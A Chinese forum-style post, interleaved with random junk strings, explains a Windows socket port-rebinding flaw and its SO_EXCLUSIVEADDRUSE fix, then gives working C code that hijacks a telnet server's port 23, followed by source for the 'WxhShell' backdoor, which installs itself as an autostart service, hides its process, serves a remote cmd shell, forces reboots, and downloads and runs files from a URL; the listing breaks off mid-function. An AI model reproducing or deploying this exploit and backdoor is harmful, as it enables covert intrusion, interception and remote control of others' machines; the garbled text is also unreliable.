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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VSx%8IM+X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4sI3(z)9H }0vtc[! saddr.sin_family = AF_INET; |KTpK(6p nwhm[AaNs saddr.sin_addr.s_addr = htonl(INADDR_ANY); FRc |D 8dlInms bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aK!xRnY >d'EInSF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qq/_yt jzQ9zy_ 这意味着什么?意味着可以进行如下的攻击: xTGP cK/PQsMP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b5[f 5 HuK Aj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O.dux5lfBd 9*f2b.Aj 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L,GShl 0S C CLfvex 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jt/l,=9YK #DrZ`Aq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WT I 'O s8{-c^G:R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 on6<l ^GrNfB[Qu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xu`d`!Tx Vvx a.B #include 3LT+9ad2d #include t
CkoYrvT #include anpJAB:1 #include 7=L:m7T DWORD WINAPI ClientThread(LPVOID lpParam); )H.ubM1 int main() EUJ1RhajF { .QNjeMu. WORD wVersionRequested; }k4` DWORD ret; ,>:XE@xcp WSADATA wsaData; (/To?` BOOL val; wVlSjk SOCKADDR_IN saddr; O7! fI'R SOCKADDR_IN scaddr; =%:JjgKc*t int err; e =0l<Rj SOCKET s; :v|r= #OI SOCKET sc; ](]*]a4ss int caddsize; ;L#LDk{Za HANDLE mt; u XaL DWORD tid; 3-4Nad wVersionRequested = MAKEWORD( 2, 2 ); Wdei`u[ err = WSAStartup( wVersionRequested, &wsaData ); iH($rSE if ( err != 0 ) { ~+7a d$ printf("error!WSAStartup failed!\n"); +#^sy> return -1; |^
2rtI } Y'3kE saddr.sin_family = AF_INET; 0G~%UYB- v$qpcu#o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bM*Pcxv AM1/\R saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c_R)P,P saddr.sin_port = htons(23); 6z1aG9G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v=dKcruR: { %V@R k.< printf("error!socket failed!\n"); L#83f]vG return -1; C}t+t } *>?):-9"6N val = TRUE; ;LwFbkOuU //SO_REUSEADDR选项就是可以实现端口重绑定的 fRZUY<t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \VoB=Ac& { cq+nWHqF{J printf("error!setsockopt failed!\n"); ?6_"nT*} return -1; Ah(\%35& } MYur3lj%_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FKDamHL< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 buMiJzU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 COxZ
Q @n5;|`)\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *[XN.sb8E { 7I @9v=xV ret=GetLastError(); AH"g^ gw~T printf("error!bind failed!\n"); /1[}G! return -1; @5<]W+jk4 } )Tyky%P+iI listen(s,2); bCJ<=X,g`K while(1) ~(w=U * { 1]a*Oer} caddsize = sizeof(scaddr); _OyP>|L' //接受连接请求 +9=@E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5`OK- if(sc!=INVALID_SOCKET) ;EE{~ { hY4)W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EF*oPn0| if(mt==NULL) w>/pQ6=OFR { Res"0Q printf("Thread Creat Failed!\n"); t?3{s\z 8+ break; muqfSF } N3S,33
8s } Yc.
~qmG/z CloseHandle(mt); -eSPoZ } mGMinzf closesocket(s); ZmYa.4'L WSACleanup(); Wo1V$[`Dy return 0; ~T;ajvJ } P?WT)C2)u DWORD WINAPI ClientThread(LPVOID lpParam) Ba\wq: { h4$OXKme? SOCKET ss = (SOCKET)lpParam; pw(U< ) SOCKET sc; \'}/&PCkr unsigned char buf[4096]; jL>I5f SOCKADDR_IN saddr; N9>'/jgZX long num; sqMNon`5 DWORD val; ?,+C!R? DWORD ret; >8F{lbEe //如果是隐藏端口应用的话,可以在此处加一些判断 E9 80yXJR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )Rm
'YmO saddr.sin_family = AF_INET; .:r2BgL saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eEg1- saddr.sin_port = htons(23); \(
Gf+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7 ~% { rH#c:BwSm printf("error!socket failed!\n"); a|]%/[G@ return -1; qxecp2>U } @wAr[.lZ val = 100; %$9)1"T0Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +r#=n7t { *x#&[> ret = GetLastError(); N('S2yfDR return -1; /v|68x6 } ba:mO$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H(DVVHx { r['=a/.C ret = GetLastError(); F]dd># return -1; {W:)oh> } 21)-:rS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^8f|clw" { .SKNIct
M printf("error!socket connect failed!\n"); ; ei<Q =[ closesocket(sc); !lt\2Ae closesocket(ss); NdXy%Q return -1; kp<} } yEw"8u' while(1) Wj f>:\w { 4Q`=t&u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _nIqy&< //如果是嗅探内容的话,可以再此处进行内容分析和记录 4LB9w21 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P*"AtZuY] num = recv(ss,buf,4096,0); JK^B +. if(num>0) EU&3Pdnd send(sc,buf,num,0); ,nu7r1} else if(num==0) ^%'tD break; 9B?t3: num = recv(sc,buf,4096,0); sgb+@&}9n if(num>0) G,mH!lSm, send(ss,buf,num,0); ;5JIY7t else if(num==0) v[3hnLN% break; e$xv[9 } !Z0rTC3d closesocket(ss); bTy'5" closesocket(sc); 3Mh,NQB return 0 ; /PB3^d>Q2 } D=I5[t0c4 gQ@Pw4bA ;o)`9<es!2 ========================================================== A86lyBDQ* z7us*8X{ 下边附上一个代码,,WXhSHELL nm:let7GB %]:vT&M ========================================================== ^?S@v1~7d (k)gZD9~{? #include "stdafx.h" Pu\DYP:( dnWt\>6&
2 #include <stdio.h> i&s=!` #include <string.h> g#KToOP #include <windows.h> MIXrLh3 #include <winsock2.h> @,>=X:7 #include <winsvc.h> ~|B!.+ #include <urlmon.h> xfF&$K" X%R^)zKV #pragma comment (lib, "Ws2_32.lib") Qig!NgOM #pragma comment (lib, "urlmon.lib") YV _I-l0 C[<\ufclD #define MAX_USER 100 // 最大客户端连接数 m 'H #define BUF_SOCK 200 // sock buffer z1@sEfk> #define KEY_BUFF 255 // 输入 buffer JjTzq2'% DRg~HT #define REBOOT 0 // 重启 X#NeB>~ #define SHUTDOWN 1 // 关机 }AH|~3|D )]>Y*<s } #define DEF_PORT 5000 // 监听端口 __zu-!v aXid;v, #define REG_LEN 16 // 注册表键长度 d&R\7)0 #define SVC_LEN 80 // NT服务名长度 7J!d3j2TR g]#zWTw( // 从dll定义API ?[4khQt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =iN_Ug+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MzW$Sl&: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o?
xR[N-J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z We$(? -_f0AfU/a // wxhshell配置信息 #uw*8&%0 struct WSCFG { /$4?.qtu int ws_port; // 监听端口 =smY/q^3 char ws_passstr[REG_LEN]; // 口令 "ZPbK$+=yU int ws_autoins; // 安装标记, 1=yes 0=no D~ `YRbv char ws_regname[REG_LEN]; // 注册表键名 6;c{~$s~[ char ws_svcname[REG_LEN]; // 服务名 }d*sWSPu( char ws_svcdisp[SVC_LEN]; // 服务显示名 H&Lbdu~E char ws_svcdesc[SVC_LEN]; // 服务描述信息 I$qtfGr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d_|v=^; int ws_downexe; // 下载执行标记, 1=yes 0=no |0pBBDw char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" E2/U']R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KNyD}1 |2]WA'q }; g_!xO2LH,8 ]mU*Y:< // default Wxhshell configuration &aht K}u struct WSCFG wscfg={DEF_PORT, qpH-P8V "xuhuanlingzhe", J3JRWy@?P 1, Oes+na'^ "Wxhshell", [5#/&k{ "Wxhshell", 2&f=4b`Z "WxhShell Service", 2/gj@>dt "Wrsky Windows CmdShell Service", (I 0t*Se "Please Input Your Password: ", 2F(\ }%UT~ 1, "_}D{ws1 " http://www.wrsky.com/wxhshell.exe", WC&Ltw8 "Wxhshell.exe" ,<WykeC }; lMf5F8 ng6p#F,3 // 消息定义模块 I8>1RXz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o)
?1`7^BA char *msg_ws_prompt="\n\r? for help\n\r#>"; ] ]-0RJ=S? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; '(:J|DN char *msg_ws_ext="\n\rExit."; TZ]Gl4@ char *msg_ws_end="\n\rQuit."; MX_a]$\:n char *msg_ws_boot="\n\rReboot..."; Z- Ae'ym char *msg_ws_poff="\n\rShutdown..."; m1Z8SM+ char *msg_ws_down="\n\rSave to "; kqB00
; Q$5:P& char *msg_ws_err="\n\rErr!"; *==nOO9G char *msg_ws_ok="\n\rOK!"; 'V{k$}P2 9r*T3=u.S char ExeFile[MAX_PATH]; a8U2c; int nUser = 0; F!t13%yeu? HANDLE handles[MAX_USER]; P@?'@.e int OsIsNt; } dlNMW ?uBC{KQ}Y SERVICE_STATUS serviceStatus; |hyr(7 SERVICE_STATUS_HANDLE hServiceStatusHandle; vw
2@}#\: @Ec9Do> // 函数声明 P
&._-[ int Install(void); }
~bOP^' int Uninstall(void); w`_9 *AF9 int DownloadFile(char *sURL, SOCKET wsh); iKKWn*u int Boot(int flag); &y?B&4|hM void HideProc(void); 8TvPCZ$x int GetOsVer(void); SSC!BcC1 int Wxhshell(SOCKET wsl); MUl+Oy> void TalkWithClient(void *cs); b=l}|)a int CmdShell(SOCKET sock); ]TOY_K8"z# int StartFromService(void); &zy9} 4w, int StartWxhshell(LPSTR lpCmdLine); j!H?dnE|| 6&T1
ZY` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #XPU$= VOID WINAPI NTServiceHandler( DWORD fdwControl ); #| Po&yu4R e.H"!X!0#H // 数据结构和表定义 Xy<KvFy SERVICE_TABLE_ENTRY DispatchTable[] = xKux5u_ { J[AgOUc {wscfg.ws_svcname, NTServiceMain}, 0:8'Ov( {NULL, NULL} Y{@[)M{< }; %s yBm K;lC# // 自我安装 m%3Kq%?O int Install(void) GTvb^+6 { Z&!$G'X char svExeFile[MAX_PATH]; !*-cf$ HKEY key; ~h.B\Sc]Q strcpy(svExeFile,ExeFile); bhYaG i0 ~
$& // 如果是win9x系统,修改注册表设为自启动 =)bc/309 if(!OsIsNt) { :b-(@a7> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OR{"9)I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R/|o?qTrj RegCloseKey(key); `lzH:B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `,"Jc<R7Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?H?r!MZ% RegCloseKey(key); oPir]`re return 0; w{IqzmPiH } -nSqB{s!SD } &x #5-O' } >?KyPp else { jnY4(B
8uiQm;W // 如果是NT以上系统,安装为系统服务 PGGJpD? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }OFk.6{{&v if (schSCManager!=0) CcQ|0 { Az[z} r4 SC_HANDLE schService = CreateService ,-Gw#!0 ( L|?tcic schSCManager, x.RZ!V- wscfg.ws_svcname, yAe}O#dy wscfg.ws_svcdisp, C5z4%,`f SERVICE_ALL_ACCESS, i/Z5/(zF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 70~]J8T+u SERVICE_AUTO_START, na)_8r~ SERVICE_ERROR_NORMAL, <^paRKEa+# svExeFile, |/$#G0X;H NULL, 3u<2~!sR NULL, cs)hq4-L` NULL, $mlcaH NULL, #'P&L>6
; NULL _6(=0::x ); T /uu='3 if (schService!=0) i%2K%5{)$D { |zE7W CloseServiceHandle(schService); Pmb`05\ CloseServiceHandle(schSCManager); S"l&=J2dc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); teb(\% , strcat(svExeFile,wscfg.ws_svcname); >qla,}x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dXhV]xK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aHw VoT RegCloseKey(key); KAZz)7 return 0; <U*d
} 8z&9 } s0SB!-Vjm CloseServiceHandle(schSCManager); A6VkVJZx } >e%Po,Fg$ } ^.Q),{%Xo .:}\Z27-c return 1; !=pemLvH } Zh$Z$85p ~7v^7;tT // 自我卸载 whshjl?a int Uninstall(void) 2Xosj(H { Rk<:m+V= HKEY key; <Bwu N,} +7w>ujeeJA if(!OsIsNt) { tH(Z9\L 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O?_'6T RegDeleteValue(key,wscfg.ws_regname); qyto`n7 RegCloseKey(key); FB""^IC?W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G>j/d7 RegDeleteValue(key,wscfg.ws_regname); f
36rU RegCloseKey(key); dO2cgY} return 0; EHOdst } M6>l%[ } +t f= } Vufw:}i+^ else { (@ Bw@9 9Bn
dbSi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7">.{
@S if (schSCManager!=0) x=k$^V~ { Dqki}k~{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p\ASf if (schService!=0) -Ac^#/[0 { .|K5b]na if(DeleteService(schService)!=0) { :}lE@Y,R CloseServiceHandle(schService); q:(K^ CloseServiceHandle(schSCManager); lWR return 0; v'uQ'CiH } IKt9=Tx CloseServiceHandle(schService); D~<GVp5T } =vWnqF: CloseServiceHandle(schSCManager);
=~)n,5 } xg8<b
} :?,&u,8 A/MOY@%G return 1; tU(6%zvR } @U}UC G7+ ny}?+&K // 从指定url下载文件 \l`;]cA int DownloadFile(char *sURL, SOCKET wsh) +CACs7tV { ,i}"e(f HRESULT hr; \%K6T)9 char seps[]= "/"; 9X-DR char *token; eK`tFs,u char *file; g$+3IVq& char myURL[MAX_PATH]; KP
i@wl3 char myFILE[MAX_PATH]; ,PB?pp8C} :=/DF strcpy(myURL,sURL); zw0p} token=strtok(myURL,seps); *Hs5MXNu while(token!=NULL) + 7Z%N9 { @8 pRIS"V file=token; V{8mx70 token=strtok(NULL,seps); V/03m3!q } Zy<0'k%U $h2h&6mH GetCurrentDirectory(MAX_PATH,myFILE); $HaM,
Oh;i strcat(myFILE, "\\");
z\\MLyS strcat(myFILE, file); b_B4 send(wsh,myFILE,strlen(myFILE),0); L
U7. send(wsh,"...",3,0); (*p |Kzu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S_)va#b# if(hr==S_OK) Dx8^V%b return 0; y(%6?a @ else <fP|<>s$@1 return 1; J9o]$.e /rquI y^ } #PiW\Tq 6pH.sX$!_ // 系统电源模块 2nf{2edC int Boot(int flag) Y,+$vj:y8 { CzwnmSv{. HANDLE hToken; H7uW|'XWz TOKEN_PRIVILEGES tkp; +UB. M KjhOz%Yt[o if(OsIsNt) { S -im
o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H#f
FU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,i'>+Ix< tkp.PrivilegeCount = 1; ?O28Q DUI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |kjk{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x]F:~(P if(flag==REBOOT) { J"|o g|Tz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EayZ*e] return 0; -&+[/ } H=*;3gM,' else { >1W)J3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +"Ka #Z return 0; SoCa_9*X } emTqbO } qg|SBQ?6 else { 9OX&;O+5 if(flag==REBOOT) { X'O3)Yg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mzDbw-# return 0; o4U9jU4<" } }s? 9Hnqa else { p?ICZg: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '};pu;GA7 return 0; h^cM#L^B } ?8pR RzV$ } WSUU_^. 7V?TLGgd$ return 1; \#L}KW } (r.[b bIR7g(PJ.b // win9x进程隐藏模块 Rkgpa/te" void HideProc(void) FK<1SOE { r"c<15g2' ht)J#Di HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [8[g_ if ( hKernel != NULL ) n{aD4& { OLTgBXh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'V/+v#V+> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eX>x
+]l6 FreeLibrary(hKernel); DYx3NDX7 } (*F/^4p!$ ("?V| return; ><^
, } @w?hXK= saY":fva // 获取操作系统版本 CKCot int GetOsVer(void) t
7 dcaNBZ { %d3qMnYu OSVERSIONINFO winfo; kocgPO5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FbhF45H GetVersionEx(&winfo); <<4U: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yJNQO'wcv return 1; $cflF@3 else @#rF8; return 0; g\:(1oY } WWZ`RY vL}e1V: // 客户端句柄模块 ^\KZE|^3@ int Wxhshell(SOCKET wsl) ?NWc3 . { -Q9} gaH_ SOCKET wsh; d0YDNP%,_ struct sockaddr_in client; sN"<baZ DWORD myID; ;LD!eWSK, $b OiP while(nUser<MAX_USER) B)*?H=f/ { B:;$5PUTc int nSize=sizeof(client); NCL!| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JS$ojL^ if(wsh==INVALID_SOCKET) return 1; Cl&YN}t5 gaV>WF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wl7G6Y2 if(handles[nUser]==0) Lh\ 1L closesocket(wsh); wwUa+6? else (ZSd7qH" nUser++; d;@"Naw } ~HBQQt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VUmf;~ cao=O
\Y7 return 0; %?2y2O,; } FLUvFD ~xCv_u^= // 关闭 socket 2+s#5K&i void CloseIt(SOCKET wsh) owQSy9Az { zo83>bt closesocket(wsh); 9lqH nUser--; <<w*_GM ExitThread(0); 37<^Oly! } %>Q[j`9y Q?xA))0 // 客户端请求句柄 [3 D*DyQt void TalkWithClient(void *cs) Y<qWG8X { ]"ou?ot } s k_TKN`+ SOCKET wsh=(SOCKET)cs; 4Dy|YH$>S char pwd[SVC_LEN]; *\gYs{, char cmd[KEY_BUFF]; H Q :Y: char chr[1]; FdGnNDl*e int i,j; ?mwa6] Y#[xX2z9 while (nUser < MAX_USER) { D,\hRQ 7w\L<vFm if(wscfg.ws_passstr) { };Pdn7;1G: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3FY87R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iVT)V>U p //ZeroMemory(pwd,KEY_BUFF); 9$f% i=0; +R"Y~
m{F while(i<SVC_LEN) { $:|?z_@ o4U0kiI@ // 设置超时 8B!MgNKV fd_set FdRead; |W*#N8IP struct timeval TimeOut; ?`T Q'#P` FD_ZERO(&FdRead); L8,/ FD_SET(wsh,&FdRead); 0@yw#.j TimeOut.tv_sec=8; Q@ua
G,6 TimeOut.tv_usec=0; >npTUOGL=n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l=UXikx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :lW8f~! fU<_bg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = IJ}b=: pwd =chr[0]; r17"i.n if(chr[0]==0xd || chr[0]==0xa) { w"{mDL}c pwd=0; AZ>F+@ d break; S-5O$EnD } (T!#7 i++; nT
:n>ja } W#&BU-|2 &yRR!1n)H // 如果是非法用户,关闭 socket ?U+nR/H:6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DGbEQiX$\ } _9yW; i- 2q4-9vu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yXQ 28A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZZM;%i-B +;T\:'CU while(1) { j-#h^3l1? BD-
c<K" ZeroMemory(cmd,KEY_BUFF); Dy&{PeE! 5[LDG/{Tys // 自动支持客户端 telnet标准 /Z~5bb( j=0; "[ieOFI while(j<KEY_BUFF) { _MWW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^EJ]LNk} cmd[j]=chr[0]; 3aw-fuuIb if(chr[0]==0xa || chr[0]==0xd) { .=N ?;i cmd[j]=0; :}-VLp4b break; Th
X6e } SohNk9u[8 j++; [>LO'}% } N :OLN[ dTWcn7C // 下载文件 _
h/:r1 if(strstr(cmd,"http://")) { E~c>j<'-"< send(wsh,msg_ws_down,strlen(msg_ws_down),0); O03F@v if(DownloadFile(cmd,wsh)) !?" pnKb} send(wsh,msg_ws_err,strlen(msg_ws_err),0); jx'hxC'3 else L|8&9F\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FqZD'Uu7 } Y() ZM else { P{HR='2 P6")OWd switch(cmd[0]) { 'U,\5jj'Y ,#bT // 帮助 p+228K ;H case '?': { 3:<[;yo send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I+QM":2 break; 7[0<,O6Q } ~R\ $Z // 安装 /i
case 'i': { nbW.x7 if(Install()) gH.$B' send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n;5D,r0C else ]f5vk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _;R#B`9Iu break; Jpy~5kS } !}5+hj!6 // 卸载 oN)I3wO$ case 'r': { hOYX if(Uninstall()) E
B!
,t send(wsh,msg_ws_err,strlen(msg_ws_err),0); {b-SK5%]L else 7q:;3;"9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B 74 break; 3m~,6mQ } k@pEs# a // 显示 wxhshell 所在路径 gB>AYL%o= case 'p': { C~^T=IP char svExeFile[MAX_PATH]; =@&>r5W1 strcpy(svExeFile,"\n\r"); YDZB$?&a strcat(svExeFile,ExeFile); Js.G
hTs send(wsh,svExeFile,strlen(svExeFile),0); f%JM
a]yV break; / 8u}VYE } PP/#Z~.M // 重启 9ph>4u(R case 'b': { i2-]Xl send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tv2k&\1 if(Boot(REBOOT)) MwL!2r send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nr}O6IJ>Sg else { y-S23B( closesocket(wsh); 4q?R 3\e; ExitThread(0); q"WfKz!U } fhha-J break; o=PW)37> } of > // 关机 aCi)icn$ case 'd': { fJ=(oF= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mnw(x#%P if(Boot(SHUTDOWN)) X_)I"` send(wsh,msg_ws_err,strlen(msg_ws_err),0); m 0Uu2Z4 else { Hq&MePl[ closesocket(wsh); VMS3Q)Ul ExitThread(0); |x=(}g } I]cZcx,<q break; "*TP@X?@f } 1c*:"
k // 获取shell O7od2fV(i7 case 's': { '5A&c( CmdShell(wsh); (Zej\lEN closesocket(wsh); KI].T+I ExitThread(0); 9`CJhu break; P%d3fFzK } AbQnx%$u // 退出 ?B`c<H"
case 'x': { 'b6qEU# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )EcfEym.> CloseIt(wsh); ^rGuyW# break; LaL{
^wP } 9)n3f^,Oj* // 离开 -vh\XO case 'q': { vq\L9$WJ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?5EMDawt closesocket(wsh); W@+ge]9m& WSACleanup(); g3 !<A*< exit(1); ]6MXG% break; DZ:$p. } +S1h~@c:B } 3GMrdG?Y } gQeoCBCE #UvWS // 提示信息 cKIA.c}N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n:}'f-
:T } er@.<Dc } 0}e&ONDQ r
jnf30 return; )Q<u0AxAn } %wGQu;re :>jzL8 // shell模块句柄 ;0Ih:YY6 int CmdShell(SOCKET sock) Shss};QZf( { ?}S~cgL - STARTUPINFO si; ZfS" ZeroMemory(&si,sizeof(si)); Y+EwBg)co si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aCyn9Y$= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D}2$n?~+ PROCESS_INFORMATION ProcessInfo; <AHdz/N char cmdline[]="cmd"; v5FfxDvw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mAe)Hy % return 0; 1R]h>' } q 1A0-W#4 "rrE_ // 自身启动模式 iE]^6i int StartFromService(void) yoTx3U@ { )X6I#q8 typedef struct E<
pO!P { *N](Xtbj DWORD ExitStatus; Xa$tW%) DWORD PebBaseAddress; _1jeaV9@ DWORD AffinityMask; K~qKr<) DWORD BasePriority; w3Dqpo8E ULONG UniqueProcessId; 0{stIgB$ ULONG InheritedFromUniqueProcessId; g&/r =U } PROCESS_BASIC_INFORMATION; }9Q<<a &hWYw+yH\ PROCNTQSIP NtQueryInformationProcess; Q:]v4/MT }dEf |6_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ei[, ug' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =[)2DJC <}%gZ:Z6g HANDLE hProcess; vfh\X1Ui} PROCESS_BASIC_INFORMATION pbi; G.^^zmsM` Mu_'C$zA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bGik~ if(NULL == hInst ) return 0; .0dx@Sbv Wf&i{3z[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fn;Gq-^7@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W)`H(J NtQueryInformationProcess = 